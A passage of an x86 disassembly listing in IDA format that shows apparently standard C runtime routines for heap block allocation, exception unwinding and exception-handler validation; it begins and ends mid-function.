		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_4033E7
		test	bl, 1
		jnz	loc_4033E0
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_4033E0
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_4032BA
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_4032BA:				; CODE XREF: sub_403245+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_403305
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_4032E6
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_403305
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_403305
; ---------------------------------------------------------------------------

loc_4032E6:				; CODE XREF: sub_403245+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_403305
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_403305:				; CODE XREF: sub_403245+7Bj
					; sub_403245+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_4033CE
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_40333F
		push	3Fh
		pop	edi

loc_40333F:				; CODE XREF: sub_403245+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_4033BC
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_403393
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_40338B
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_40338B:				; CODE XREF: sub_403245+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_4033B3
; ---------------------------------------------------------------------------

loc_403393:				; CODE XREF: sub_403245+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_4033A9
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_4033A9:				; CODE XREF: sub_403245+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]

loc_4033B3:				; CODE XREF: sub_403245+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_4033BC:				; CODE XREF: sub_403245+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_4033D1
; ---------------------------------------------------------------------------

loc_4033CE:				; CODE XREF: sub_403245+DEj
		mov	edx, [ebp+arg_4]

loc_4033D1:				; CODE XREF: sub_403245+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_40351C
; ---------------------------------------------------------------------------

loc_4033E0:				; CODE XREF: sub_403245+50j
					; sub_403245+5Aj
		xor	eax, eax
		jmp	loc_40351F
; ---------------------------------------------------------------------------

loc_4033E7:				; CODE XREF: sub_403245+47j
		jge	loc_40351C
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_403412
		push	3Fh
		pop	esi

loc_403412:				; CODE XREF: sub_403245+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_40349C
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_40342B
		push	3Fh
		pop	esi

loc_40342B:				; CODE XREF: sub_403245+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_403475
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_403456
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_403472
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_403472
; ---------------------------------------------------------------------------

loc_403456:				; CODE XREF: sub_403245+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_403472
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_403472:				; CODE XREF: sub_403245+208j
					; sub_403245+20Fj ...
		mov	ebx, [ebp+arg_4]

loc_403475:				; CODE XREF: sub_403245+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_40349C
		push	3Fh
		pop	esi

loc_40349C:				; CODE XREF: sub_403245+1D1j
					; sub_403245+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_403513
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_4034EA
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4034E2
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_4034E2:				; CODE XREF: sub_403245+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_40350A
; ---------------------------------------------------------------------------

loc_4034EA:				; CODE XREF: sub_403245+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_403500
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_403500:				; CODE XREF: sub_403245+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]

loc_40350A:				; CODE XREF: sub_403245+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_403513:				; CODE XREF: sub_403245+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_40351C:				; CODE XREF: sub_403245+196j
					; sub_403245:loc_4033E7j
		xor	eax, eax
		inc	eax

loc_40351F:				; CODE XREF: sub_403245+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403245	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403524	proc near		; CODE XREF: sub_40292E+17p
					; sub_403B37+74p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	ecx, [ebp+arg_0]
		mov	eax, ds:dword_407514
		mov	edx, ds:dword_407518
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		dec	ecx
		cmp	ecx, 20h
		lea	edi, [edx+eax*4]
		mov	[ebp+var_4], edi
		jge	short loc_403561
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_40356E
; ---------------------------------------------------------------------------

loc_403561:				; CODE XREF: sub_403524+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_8], eax

loc_40356E:				; CODE XREF: sub_403524+3Bj
		mov	eax, ds:dword_407520
		mov	ebx, eax
		mov	[ebp+var_C], esi
		cmp	ebx, edi
		jmp	short loc_403590
; ---------------------------------------------------------------------------

loc_40357C:				; CODE XREF: sub_403524+6Fj
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_403595
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]

loc_403590:				; CODE XREF: sub_403524+56j
		mov	[ebp+arg_0], ebx
		jb	short loc_40357C

loc_403595:				; CODE XREF: sub_403524+64j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4035BE
		mov	ebx, edx
		jmp	short loc_4035AF
; ---------------------------------------------------------------------------

loc_40359E:				; CODE XREF: sub_403524+90j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4035B6
		add	ebx, 14h

loc_4035AF:				; CODE XREF: sub_403524+78j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_40359E

loc_4035B6:				; CODE XREF: sub_403524+86j
		cmp	ebx, eax
		jz	loc_403652

loc_4035BE:				; CODE XREF: sub_403524+74j
					; sub_403524+170j
		mov	ds:dword_407520, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_4035E5
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_40361B

loc_4035E5:				; CODE XREF: sub_403524+ABj
		mov	edx, [eax+0C4h]
		and	edx, [ebp+var_8]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		mov	esi, [ecx]
		and	esi, [ebp+var_C]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_403618

loc_403601:				; CODE XREF: sub_403524+F2j
		mov	edx, [ecx+84h]
		and	edx, [ebp+var_8]
		inc	[ebp+var_4]
		add	ecx, 4
		mov	edi, [ecx]
		and	edi, esi
		or	edx, edi
		jz	short loc_403601

loc_403618:				; CODE XREF: sub_403524+DBj
		mov	edx, [ebp+var_4]

loc_40361B:				; CODE XREF: sub_403524+BFj
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_4036A4
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_4036A4
; ---------------------------------------------------------------------------

loc_403646:				; CODE XREF: sub_403524+131j
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_403657
		add	ebx, 14h
		mov	[ebp+arg_0], ebx

loc_403652:				; CODE XREF: sub_403524+94j
		cmp	ebx, [ebp+var_4]
		jb	short loc_403646

loc_403657:				; CODE XREF: sub_403524+126j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_403682
		mov	ebx, edx
		jmp	short loc_403669
; ---------------------------------------------------------------------------

loc_403660:				; CODE XREF: sub_403524+14Aj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_403670
		add	ebx, 14h

loc_403669:				; CODE XREF: sub_403524+13Aj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_403660

loc_403670:				; CODE XREF: sub_403524+140j
		cmp	ebx, eax
		jnz	short loc_403682
		call	sub_403088
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_40369A

loc_403682:				; CODE XREF: sub_403524+136j
					; sub_403524+14Ej
		push	ebx
		call	sub_40313F
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_4035BE

loc_40369A:				; CODE XREF: sub_403524+15Cj
		xor	eax, eax
		jmp	loc_40381B
; ---------------------------------------------------------------------------

loc_4036A1:				; CODE XREF: sub_403524+182j
		shl	ecx, 1
		inc	edi

loc_4036A4:				; CODE XREF: sub_403524+111j
					; sub_403524+120j
		test	ecx, ecx
		jge	short loc_4036A1
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_4036C5
		push	3Fh
		pop	esi

loc_4036C5:				; CODE XREF: sub_403524+19Cj
		cmp	esi, edi
		jz	loc_4037CE
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_403731
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_403705
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_40372E
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_403731
; ---------------------------------------------------------------------------

loc_403705:				; CODE XREF: sub_403524+1B9j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_40372E
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_403731
; ---------------------------------------------------------------------------

loc_40372E:				; CODE XREF: sub_403524+1D5j
					; sub_403524+1FDj
		mov	ebx, [ebp+arg_0]

loc_403731:				; CODE XREF: sub_403524+1AFj
					; sub_403524+1DFj ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_4037DA
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4037CB
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_4037A2
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_403790
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_403790:				; CODE XREF: sub_403524+25Fj
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_4037CB
; ---------------------------------------------------------------------------

loc_4037A2:				; CODE XREF: sub_403524+259j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4037B5
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_4037B5:				; CODE XREF: sub_403524+282j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_4037CB:				; CODE XREF: sub_403524+247j
					; sub_403524+27Cj
		mov	ecx, [ebp+var_8]

loc_4037CE:				; CODE XREF: sub_403524+1A3j
		test	ecx, ecx
		jz	short loc_4037DD
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_4037DD
; ---------------------------------------------------------------------------

loc_4037DA:				; CODE XREF: sub_403524+223j
		mov	ecx, [ebp+var_8]

loc_4037DD:				; CODE XREF: sub_403524+2ACj
					; sub_403524+2B4j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_403813
		cmp	ebx, ds:dword_407510
		jnz	short loc_403813
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_407528
		jnz	short loc_403813
		and	ds:dword_407510, 0

loc_403813:				; CODE XREF: sub_403524+2D3j
					; sub_403524+2DBj ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_40381B:				; CODE XREF: sub_403524+178j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403524	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403820	proc near		; CODE XREF: seg000:00401F3Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_403838
		push	[ebp+arg_0]
		call	sub_404CC2	; RtlUnwind

loc_403838:				; DATA XREF: sub_403820+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403820	endp


; =============== S U B	R O U T	I N E =======================================



sub_403840	proc near		; DATA XREF: sub_403862+Ao
					; seg000:004038D3o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_403861
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_403861:				; CODE XREF: sub_403840+10j
		retn
sub_403840	endp


; =============== S U B	R O U T	I N E =======================================



sub_403862	proc near		; CODE XREF: seg000:00401F49p
					; seg000:00401F9Cp ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_403840
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_40387F:				; CODE XREF: sub_403862:loc_4038BAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4038BC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_4038BC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4038BA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_4038F6
		call	dword ptr [ebx+esi*4+8]

loc_4038BA:				; CODE XREF: sub_403862+44j
		jmp	short loc_40387F
; ---------------------------------------------------------------------------

loc_4038BC:				; CODE XREF: sub_403862+2Aj
					; sub_403862+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403862	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_403840
		jnz	short locret_4038EC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4038EC
		mov	eax, 1

locret_4038EC:				; CODE XREF: seg000:004038DAj
					; seg000:004038E5j
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_4072C0
		jmp	short loc_403900

; =============== S U B	R O U T	I N E =======================================



sub_4038F6	proc near		; CODE XREF: seg000:00401F5Ap
					; sub_403862+4Fp
		push	ebx
		push	ecx
		mov	ebx, offset dword_4072C0
		mov	ecx, [ebp+8]

loc_403900:				; CODE XREF: seg000:004038F4j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_4038F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40390E	proc near		; CODE XREF: seg000:00401F00p

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+8]
		test	bl, 3
		jnz	short loc_40393C
		mov	eax, large fs:18h
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		cmp	ebx, ecx
		mov	[ebp+var_4], ecx
		jb	short loc_403943
		cmp	ebx, [eax+4]
		jnb	short loc_403943

loc_40393C:				; CODE XREF: sub_40390E+11j
		xor	eax, eax
		jmp	loc_403B33
; ---------------------------------------------------------------------------

loc_403943:				; CODE XREF: sub_40390E+27j
					; sub_40390E+2Cj
		push	edi
		mov	edi, [esi+0Ch]
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_403954

loc_40394C:				; CODE XREF: sub_40390E+139j
					; sub_40390E+19Cj ...
		xor	eax, eax
		inc	eax
		jmp	loc_403B32
; ---------------------------------------------------------------------------

loc_403954:				; CODE XREF: sub_40390E+3Cj
		xor	edx, edx
		mov	[ebp+arg_0], edx
		mov	eax, ebx

loc_40395B:				; CODE XREF: sub_40390E+6Bj
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_40396A
		cmp	ecx, edx
		jnb	loc_403AAF

loc_40396A:				; CODE XREF: sub_40390E+52j
		cmp	dword ptr [eax+4], 0
		jz	short loc_403973
		inc	[ebp+arg_0]

loc_403973:				; CODE XREF: sub_40390E+60j
		inc	edx
		add	eax, 0Ch
		cmp	edx, edi
		jbe	short loc_40395B
		cmp	[ebp+arg_0], 0
		jz	short loc_403995
		mov	eax, [esi-8]
		cmp	eax, [ebp+var_4]
		jb	loc_403AAF
		cmp	eax, esi
		jnb	loc_403AAF

loc_403995:				; CODE XREF: sub_40390E+71j
		mov	eax, ds:dword_407490
		mov	edi, ebx
		and	edi, 0FFFFF000h
		xor	esi, esi
		test	eax, eax
		jle	short loc_4039BA

loc_4039A8:				; CODE XREF: sub_40390E+AAj
		cmp	ds:dword_407498[esi*4],	edi
		jz	loc_403AB3
		inc	esi
		cmp	esi, eax
		jl	short loc_4039A8

loc_4039BA:				; CODE XREF: sub_40390E+98j
		push	1Ch
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	ds:dword_405098	; VirtualQuery
		test	eax, eax
		jz	loc_403B2F
		cmp	[ebp+var_8], 1000000h
		jnz	loc_403B2F
		test	[ebp+var_C], 0CCh
		jz	short loc_403A38
		mov	ecx, [ebp+var_1C]
		cmp	word ptr [ecx],	5A4Dh
		jnz	loc_403B2F
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	loc_403B2F
		cmp	word ptr [eax+18h], 10Bh
		jnz	loc_403B2F
		sub	ebx, ecx
		cmp	word ptr [eax+6], 0
		movzx	ecx, word ptr [eax+14h]
		lea	ecx, [ecx+eax+18h]
		jbe	loc_403B2F
		mov	eax, [ecx+0Ch]
		cmp	ebx, eax
		jb	short loc_403A38
		mov	edx, [ecx+8]
		add	edx, eax
		cmp	ebx, edx
		jnb	short loc_403A38
		test	byte ptr [ecx+27h], 80h
		jnz	short loc_403AAF

loc_403A38:				; CODE XREF: sub_40390E+D2j
					; sub_40390E+119j ...
		push	1
		push	offset dword_4074D8
		call	ds:dword_405094	; InterlockedExchange
		test	eax, eax
		jnz	loc_40394C
		mov	ecx, ds:dword_407490
		test	ecx, ecx
		mov	edx, ecx
		jle	short loc_403A6C
		lea	eax, ds:407494h[ecx*4]

loc_403A60:				; CODE XREF: sub_40390E+15Cj
		cmp	[eax], edi
		jz	short loc_403A6C
		dec	edx
		sub	eax, 4
		test	edx, edx
		jg	short loc_403A60

loc_403A6C:				; CODE XREF: sub_40390E+149j
					; sub_40390E+154j
		test	edx, edx
		jnz	short loc_403A9D
		push	0Fh
		pop	ebx
		cmp	ecx, ebx
		jg	short loc_403A79
		mov	ebx, ecx

loc_403A79:				; CODE XREF: sub_40390E+167j
		xor	edx, edx
		test	ebx, ebx
		jl	short loc_403A91

loc_403A7F:				; CODE XREF: sub_40390E+181j
		lea	eax, ds:407498h[edx*4]
		mov	esi, [eax]
		inc	edx
		cmp	edx, ebx
		mov	[eax], edi
		mov	edi, esi
		jle	short loc_403A7F

loc_403A91:				; CODE XREF: sub_40390E+16Fj
		cmp	ecx, 10h
		jge	short loc_403A9D
		inc	ecx
		mov	ds:dword_407490, ecx

loc_403A9D:				; CODE XREF: sub_40390E+160j
					; sub_40390E+186j
		push	0
		push	offset dword_4074D8
		call	ds:dword_405094	; InterlockedExchange
		jmp	loc_40394C
; ---------------------------------------------------------------------------

loc_403AAF:				; CODE XREF: sub_40390E+56j
					; sub_40390E+79j ...
		xor	eax, eax
		jmp	short loc_403B32
; ---------------------------------------------------------------------------

loc_403AB3:				; CODE XREF: sub_40390E+A1j
		test	esi, esi
		jle	loc_40394C
		mov	ebx, ds:dword_405094
		push	1
		push	offset dword_4074D8
		call	ebx	; InterlockedExchange
		test	eax, eax
		jnz	loc_40394C
		cmp	ds:dword_407498[esi*4],	edi
		jz	short loc_403B09
		mov	eax, ds:dword_407490
		lea	esi, [eax-1]
		test	esi, esi
		jl	short loc_403AF7

loc_403AE7:				; CODE XREF: sub_40390E+1E3j
		cmp	ds:dword_407498[esi*4],	edi
		jz	short loc_403AF3
		dec	esi
		jns	short loc_403AE7

loc_403AF3:				; CODE XREF: sub_40390E+1E0j
		test	esi, esi
		jge	short loc_403B07

loc_403AF7:				; CODE XREF: sub_40390E+1D7j
		cmp	eax, 10h
		jge	short loc_403B02
		inc	eax
		mov	ds:dword_407490, eax

loc_403B02:				; CODE XREF: sub_40390E+1ECj
		lea	esi, [eax-1]
		jmp	short loc_403B09
; ---------------------------------------------------------------------------

loc_403B07:				; CODE XREF: sub_40390E+1E7j
		jz	short loc_403B21

loc_403B09:				; CODE XREF: sub_40390E+1CBj
					; sub_40390E+1F7j
		xor	ecx, ecx
		test	esi, esi
		jl	short loc_403B21

loc_403B0F:				; CODE XREF: sub_40390E+211j
		lea	eax, ds:407498h[ecx*4]
		mov	edx, [eax]
		inc	ecx
		cmp	ecx, esi
		mov	[eax], edi
		mov	edi, edx
		jle	short loc_403B0F

loc_403B21:				; CODE XREF: sub_40390E:loc_403B07j
					; sub_40390E+1FFj
		push	0
		push	offset dword_4074D8
		call	ebx	; InterlockedExchange
		jmp	loc_40394C
; ---------------------------------------------------------------------------

loc_403B2F:				; CODE XREF: sub_40390E+BBj
					; sub_40390E+C8j ...
		or	eax, 0FFFFFFFFh

loc_403B32:				; CODE XREF: sub_40390E+41j
					; sub_40390E+1A3j
		pop	edi

loc_403B33:				; CODE XREF: sub_40390E+30j
		pop	esi
		pop	ebx
		leave
		retn
sub_40390E	endp


; =============== S U B	R O U T	I N E =======================================



sub_403B37	proc near		; CODE XREF: seg000:00402041p
					; seg000:00402056p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	ebp
		push	edi
		jnz	short loc_403B51
		push	[esp+0Ch+arg_4]
		call	sub_4029A0
; ---------------------------------------------------------------------------
		pop	ecx
